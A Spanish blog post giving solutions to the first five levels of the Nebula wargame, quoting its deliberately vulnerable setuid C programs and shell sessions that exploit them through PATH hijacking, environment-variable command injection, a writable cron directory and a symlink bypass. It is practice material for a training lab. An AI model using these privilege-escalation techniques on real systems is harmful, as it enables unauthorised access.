Soluciones Nebula Niveles 00-04

Durante los días de vacaciones que he tenido recientemente, encontré algunos ratos para empezar a trastear con los entornos de exploit-exercises.com. Por el momento he resuelto el primer entorno completo (Nebula) y he comenzado con el siguiente (Protostar). La verdad es que ha sido entretenido, aunque el nivel de los ejercicios de Nebula es por lo normal sencillo, ha habido dos o tres niveles que han resultado cuanto menos curiosos. En las siguientes entradas iré poniendo mis soluciones a los 20 niveles de Nebula.

Nivel 00:

Este nivel introductorio consiste en localizar un binario suid y ejecutarlo para pasar al siguiente nivel. Podríamos ponernos a husmear por los directorios a ver si vemos algo sospechoso, pero es bastante más sencillo encontrar todos los binarios suid y filtrar los resultados:

find / -type f -perm +4000 -exec ls -l {} \; > suid.list
Encontrar ficheros suid

Ese fichero /bin/…/flag00 tiene buena pinta

Simplemente ejecutamos el fichero /bin/…/flag00 (fiajos en el punto adicional) y comprobamos que hemos superado el nivel adecuadamente.

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Nivel 01:

Este nivel tien una vulnerabilidad en el código, muy sencilla de ver y explotar. El código es el siguiente:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}

El problema es la llamada al comando “echo” sin especificar ruta absoluta. Una solución para este nivel sería:

  1. Crear un fichero llamado “echo” (sin las comillas) en nuestro directorio home, conteniendo el código que queramos ejecutar. En este caso, el comando getflag para pasar de nivel.
  2. Añadir nuestro directorio home a la variable PATH en primer lugar, para asegurar que el programa level01 busca el binario echo en nuestro home antes que en cualquier otro lugar.

level01@nebula:~$ cat - > "echo"
#!/bin/sh
getflag
^C
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ chmod +x echo
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account

Nivel 02:

El problema del siguiente código es que la variable de entorno USER no está controlada, permitiendo inyección de comandos.


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

Exportamos la variable con el comando deseado, y ejecutamos el binario.

Sí que es cool, sí

Nivel 03:

Este nivel no tiene ningún misterio, simplemente existe un directorio en /home/flag03 en el que podemos escribir. Además, hay una tarea cron que cada pocos minutos ejecuta todos los contenidos del directorio /home/flag03/writable.d/. Tan sólo necesitamos crear nuestro programa en dicho directorio.

Esto no es ni una vulnerabilidad

Nivel 04:

Éste también es muy sencillo. El código protege el acceso al fichero “token”, simplemente comprobando que el nombre de fichero que le pasamos por parámetro no contiene la cadena “token”.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}

Sin embargo, no se controla la existencia de enlaces simbólicos hacia dicho fichero.

level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token trampa
level04@nebula:~$ /home/flag04/flag04 trampa
06508b5e-8909-4f38-b630-fdb148a848a2

Más en la próxima entrada.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking
3 comments on “Soluciones Nebula Niveles 00-04
  1. dudu dice:

    Te dí las gracias ayer por la entrada de conversión de ova a vmx.

    Y ahora me he liado a darle a ratos. El level04 no se me ha ocurrido esa forma 🙂
    Pero yo he tenido que crear el enlace simbólico en /tmp porque en la carpeta no tenemos permisos…..

    Mañana a por los siguientes!

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: